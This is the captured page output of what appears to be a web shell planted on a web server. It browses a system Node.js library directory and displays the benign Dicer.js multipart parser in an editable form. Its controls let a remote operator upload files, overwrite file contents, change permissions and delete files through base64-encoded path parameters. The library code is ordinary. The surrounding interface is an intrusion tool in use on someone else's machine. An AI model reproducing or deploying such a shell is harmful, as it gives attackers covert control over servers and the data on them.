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<hr>Dicer.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=RGljZXIuanM%3D"><input name="f" value="Dicer.js"><textarea name="t">'use strict'

const WritableStream = require('stream').Writable
const inherits = require('util').inherits

const StreamSearch = require('../../streamsearch/sbmh')

const PartStream = require('./PartStream')
const HeaderParser = require('./HeaderParser')

const DASH = 45
const B_ONEDASH = Buffer.from('-')
const B_CRLF = Buffer.from('\r\n')
const EMPTY_FN = function () {}

function Dicer (cfg) {
  if (!(this instanceof Dicer)) { return new Dicer(cfg) }
  WritableStream.call(this, cfg)

  if (!cfg || (!cfg.headerFirst &amp;&amp; typeof cfg.boundary !== 'string')) { throw new TypeError('Boundary required') }

  if (typeof cfg.boundary === 'string') { this.setBoundary(cfg.boundary) } else { this._bparser = undefined }

  this._headerFirst = cfg.headerFirst

  this._dashes = 0
  this._parts = 0
  this._finished = false
  this._realFinish = false
  this._isPreamble = true
  this._justMatched = false
  this._firstWrite = true
  this._inHeader = true
  this._part = undefined
  this._cb = undefined
  this._ignoreData = false
  this._partOpts = { highWaterMark: cfg.partHwm }
  this._pause = false

  const self = this
  this._hparser = new HeaderParser(cfg)
  this._hparser.on('header', function (header) {
    self._inHeader = false
    self._part.emit('header', header)
  })
}
inherits(Dicer, WritableStream)

Dicer.prototype.emit = function (ev) {
  if (ev === 'finish' &amp;&amp; !this._realFinish) {
    if (!this._finished) {
      const self = this
      process.nextTick(function () {
        self.emit('error', new Error('Unexpected end of multipart data'))
        if (self._part &amp;&amp; !self._ignoreData) {
          const type = (self._isPreamble ? 'Preamble' : 'Part')
          self._part.emit('error', new Error(type + ' terminated early due to unexpected end of multipart data'))
          self._part.push(null)
          process.nextTick(function () {
            self._realFinish = true
            self.emit('finish')
            self._realFinish = false
          })
          return
        }
        self._realFinish = true
        self.emit('finish')
        self._realFinish = false
      })
    }
  } else { WritableStream.prototype.emit.apply(this, arguments) }
}

Dicer.prototype._write = function (data, encoding, cb) {
  // ignore unexpected data (e.g. extra trailer data after finished)
  if (!this._hparser &amp;&amp; !this._bparser) { return cb() }

  if (this._headerFirst &amp;&amp; this._isPreamble) {
    if (!this._part) {
      this._part = new PartStream(this._partOpts)
      if (this._events.preamble) { this.emit('preamble', this._part) } else { this._ignore() }
    }
    const r = this._hparser.push(data)
    if (!this._inHeader &amp;&amp; r !== undefined &amp;&amp; r &lt; data.length) { data = data.slice(r) } else { return cb() }
  }

  // allows for &quot;easier&quot; testing
  if (this._firstWrite) {
    this._bparser.push(B_CRLF)
    this._firstWrite = false
  }

  this._bparser.push(data)

  if (this._pause) { this._cb = cb } else { cb() }
}

Dicer.prototype.reset = function () {
  this._part = undefined
  this._bparser = undefined
  this._hparser = undefined
}

Dicer.prototype.setBoundary = function (boundary) {
  const self = this
  this._bparser = new StreamSearch('\r\n--' + boundary)
  this._bparser.on('info', function (isMatch, data, start, end) {
    self._oninfo(isMatch, data, start, end)
  })
}

Dicer.prototype._ignore = function () {
  if (this._part &amp;&amp; !this._ignoreData) {
    this._ignoreData = true
    this._part.on('error', EMPTY_FN)
    // we must perform some kind of read on the stream even though we are
    // ignoring the data, otherwise node's Readable stream will not emit 'end'
    // after pushing null to the stream
    this._part.resume()
  }
}

Dicer.prototype._oninfo = function (isMatch, data, start, end) {
  let buf; const self = this; let i = 0; let r; let shouldWriteMore = true

  if (!this._part &amp;&amp; this._justMatched &amp;&amp; data) {
    while (this._dashes &lt; 2 &amp;&amp; (start + i) &lt; end) {
      if (data[start + i] === DASH) {
        ++i
        ++this._dashes
      } else {
        if (this._dashes) { buf = B_ONEDASH }
        this._dashes = 0
        break
      }
    }
    if (this._dashes === 2) {
      if ((start + i) &lt; end &amp;&amp; this._events.trailer) { this.emit('trailer', data.slice(start + i, end)) }
      this.reset()
      this._finished = true
      // no more parts will be added
      if (self._parts === 0) {
        self._realFinish = true
        self.emit('finish')
        self._realFinish = false
      }
    }
    if (this._dashes) { return }
  }
  if (this._justMatched) { this._justMatched = false }
  if (!this._part) {
    this._part = new PartStream(this._partOpts)
    this._part._read = function (n) {
      self._unpause()
    }
    if (this._isPreamble &amp;&amp; this._events.preamble) { this.emit('preamble', this._part) } else if (this._isPreamble !== true &amp;&amp; this._events.part) { this.emit('part', this._part) } else { this._ignore() }
    if (!this._isPreamble) { this._inHeader = true }
  }
  if (data &amp;&amp; start &lt; end &amp;&amp; !this._ignoreData) {
    if (this._isPreamble || !this._inHeader) {
      if (buf) { shouldWriteMore = this._part.push(buf) }
      shouldWriteMore = this._part.push(data.slice(start, end))
      if (!shouldWriteMore) { this._pause = true }
    } else if (!this._isPreamble &amp;&amp; this._inHeader) {
      if (buf) { this._hparser.push(buf) }
      r = this._hparser.push(data.slice(start, end))
      if (!this._inHeader &amp;&amp; r !== undefined &amp;&amp; r &lt; end) { this._oninfo(false, data, start + r, end) }
    }
  }
  if (isMatch) {
    this._hparser.reset()
    if (this._isPreamble) { this._isPreamble = false } else {
      if (start !== end) {
        ++this._parts
        this._part.on('end', function () {
          if (--self._parts === 0) {
            if (self._finished) {
              self._realFinish = true
              self.emit('finish')
              self._realFinish = false
            } else {
              self._unpause()
            }
          }
        })
      }
    }
    this._part.push(null)
    this._part = undefined
    this._ignoreData = false
    this._justMatched = true
    this._dashes = 0
  }
}

Dicer.prototype._unpause = function () {
  if (!this._pause) { return }

  this._pause = false
  if (this._cb) {
    const cb = this._cb
    this._cb = undefined
    cb()
  }
}

module.exports = Dicer
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/@fastify/busboy/deps/dicer/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&x=RGljZXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=RGljZXIuanM="/>Dicer.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=RGljZXIuanM=&c=`+btoa(c):0" value="0644"></td><td>6308</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&x=SGVhZGVyUGFyc2VyLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=SGVhZGVyUGFyc2VyLmpz"/>HeaderParser.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=SGVhZGVyUGFyc2VyLmpz&c=`+btoa(c):0" value="0644"></td><td>2763</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&x=UGFydFN0cmVhbS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=UGFydFN0cmVhbS5qcw=="/>PartStream.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=UGFydFN0cmVhbS5qcw==&c=`+btoa(c):0" value="0644"></td><td>284</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&x=ZGljZXIuZC50cw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=ZGljZXIuZC50cw=="/>dicer.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGZhc3RpZnkvYnVzYm95L2RlcHMvZGljZXIvbGli&f=ZGljZXIuZC50cw==&c=`+btoa(c):0" value="0644"></td><td>9854</td></tr></table>